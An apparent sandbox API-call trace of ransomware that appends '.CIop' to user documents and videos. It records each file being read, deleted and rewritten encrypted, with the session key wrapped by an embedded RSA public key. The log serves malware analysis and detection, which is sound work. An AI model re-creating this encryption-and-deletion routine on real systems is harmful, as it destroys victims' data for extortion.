lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.626] lstrcpyW (in: lpString1=0x312f368, lpString2="IR-tjQBZzd_N5h-S0 pI.doc" | out: lpString1="IR-tjQBZzd_N5h-S0 pI.doc") returned="IR-tjQBZzd_N5h-S0 pI.doc" [0106.626] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.626] SetErrorMode (uMode=0x1) returned 0x1 [0106.626] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc") returned 75 [0106.626] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc", dwFileAttributes=0x20) returned 1 [0106.626] StrStrW (lpFirst="IR-tjQBZzd_N5h-S0 pI.doc", lpSrch=".CIop") returned 0x0 [0106.626] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc.CIop") returned 80 [0106.626] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ir-tjqbzzd_n5h-s0 pi.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0106.627] ReadFile (in: hFile=0x690, lpBuffer=0x656668, nNumberOfBytesToRead=0xe5d9, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x312e5e8*=0xe5d9, lpOverlapped=0x0) returned 1 [0106.627] CloseHandle (hObject=0x690) returned 1 [0106.628] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ir-tjqbzzd_n5h-s0 pi.doc")) returned 1 [0106.629] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0106.630] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0106.630] SetErrorMode (uMode=0x1) returned 0x1 [0106.630] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67c098) returned 1 [0106.632] CryptGenKey (in: hProv=0x67c098, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e3f8) returned 1 [0106.696] CryptExportKey (in: hKey=0x67e3f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0106.696] CryptExportKey (in: hKey=0x67e3f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0106.696] CryptDestroyKey (hKey=0x67e3f8) returned 1 [0106.696] CryptReleaseContext (hProv=0x67c098, dwFlags=0x0) returned 1 [0106.696] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ir-tjqbzzd_n5h-s0 pi.doc.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0106.696] WriteFile (in: hFile=0x694, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xe5d9, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x312e5d8*=0xe5d9, lpOverlapped=0x0) returned 1 [0106.697] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe5d9 [0106.697] WriteFile (in: hFile=0x694, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.698] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe5e0 [0106.698] SetErrorMode (uMode=0x1) returned 0x1 [0106.698] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.698] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.698] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0106.698] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67b2c8) returned 1 [0106.698] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b2c8, dwCertEncodingType=0x1, pInfo=0x6916c8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67eab8) returned 1 [0106.698] CryptEncrypt (in: hKey=0x67eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0106.698] CryptEncrypt (in: hKey=0x67eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b3d8*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b3d8*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0106.698] WriteFile (in: hFile=0x694, lpBuffer=0x67b3d8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b3d8*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.698] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.698] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.699] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.699] CloseHandle (hObject=0x694) returned 1 [0106.793] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\IR-tjQBZzd_N5h-S0 pI.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ir-tjqbzzd_n5h-s0 pi.doc")) returned 0 Thread: id = 217 os_tid = 0xdb0 [0106.713] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.713] lstrcpyW (in: lpString1=0x326f368, lpString2="MiEnBI8.docx" | out: lpString1="MiEnBI8.docx") returned="MiEnBI8.docx" [0106.713] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.713] SetErrorMode (uMode=0x1) returned 0x1 [0106.713] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx") returned 63 [0106.713] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx", dwFileAttributes=0x20) returned 1 [0106.714] StrStrW (lpFirst="MiEnBI8.docx", lpSrch=".CIop") returned 0x0 [0106.714] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx.CIop") returned 68 [0106.714] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\mienbi8.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698 [0106.714] ReadFile (in: hFile=0x698, lpBuffer=0x656668, nNumberOfBytesToRead=0xaf78, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0xaf78, lpOverlapped=0x0) returned 1 [0106.716] CloseHandle (hObject=0x698) returned 1 [0106.716] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\mienbi8.docx")) returned 1 [0106.748] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0106.748] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32f0000 [0106.748] SetErrorMode (uMode=0x1) returned 0x1 [0106.748] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x67c230) returned 1 [0106.751] CryptGenKey (in: hProv=0x67c230, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e838) returned 1 [0106.839] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0106.839] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32f0000, pdwDataLen=0x326e5ec | out: pbData=0x32f0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0106.839] CryptDestroyKey (hKey=0x67e838) returned 1 [0106.839] CryptReleaseContext (hProv=0x67c230, dwFlags=0x0) returned 1 [0106.840] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\mienbi8.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c [0106.840] WriteFile (in: hFile=0x69c, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xaf78, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0xaf78, lpOverlapped=0x0) returned 1 [0106.841] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaf78 [0106.841] WriteFile (in: hFile=0x69c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.841] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaf7f [0106.841] SetErrorMode (uMode=0x1) returned 0x1 [0106.841] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.841] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.841] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0106.841] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x67bdf0) returned 1 [0106.842] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67bdf0, dwCertEncodingType=0x1, pInfo=0x692be8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e2f8) returned 1 [0106.842] CryptEncrypt (in: hKey=0x67e2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0106.842] CryptEncrypt (in: hKey=0x67e2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67be78*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67be78*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0106.842] WriteFile (in: hFile=0x69c, lpBuffer=0x67be78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67be78*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.842] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.842] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.842] VirtualFree (lpAddress=0x32f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.842] CloseHandle (hObject=0x69c) returned 1 [0106.844] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\MiEnBI8.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\mienbi8.docx")) returned 0 Thread: id = 218 os_tid = 0xdd8 [0106.717] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.717] lstrcpyW (in: lpString1=0x347f368, lpString2="34Z4dfhq5fY_tfB.mkv" | out: lpString1="34Z4dfhq5fY_tfB.mkv") returned="34Z4dfhq5fY_tfB.mkv" [0106.717] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.717] SetErrorMode (uMode=0x1) returned 0x1 [0106.717] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv") returned 78 [0106.717] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv", dwFileAttributes=0x20) returned 1 [0106.718] StrStrW (lpFirst="34Z4dfhq5fY_tfB.mkv", lpSrch=".CIop") returned 0x0 [0106.718] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv.CIop") returned 83 [0106.718] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\34z4dfhq5fy_tfb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698 [0106.718] ReadFile (in: hFile=0x698, lpBuffer=0x2f0ec98, nNumberOfBytesToRead=0x1ba5, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesRead=0x347e5e8*=0x1ba5, lpOverlapped=0x0) returned 1 [0106.719] CloseHandle (hObject=0x698) returned 1 [0106.719] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\34z4dfhq5fy_tfb.mkv")) returned 1 [0106.735] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0106.736] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0106.736] SetErrorMode (uMode=0x1) returned 0x1 [0106.736] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x67c098) returned 1 [0106.738] CryptGenKey (in: hProv=0x67c098, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67e3f8) returned 1 [0106.818] CryptExportKey (in: hKey=0x67e3f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0106.818] CryptExportKey (in: hKey=0x67e3f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0106.818] CryptDestroyKey (hKey=0x67e3f8) returned 1 [0106.818] CryptReleaseContext (hProv=0x67c098, dwFlags=0x0) returned 1 [0106.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\34z4dfhq5fy_tfb.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0106.819] WriteFile (in: hFile=0x688, lpBuffer=0x2f0ec98*, nNumberOfBytesToWrite=0x1ba5, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesWritten=0x347e5d8*=0x1ba5, lpOverlapped=0x0) returned 1 [0106.820] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ba5 [0106.820] WriteFile (in: hFile=0x688, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.820] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bac [0106.820] SetErrorMode (uMode=0x1) returned 0x1 [0106.820] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.820] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 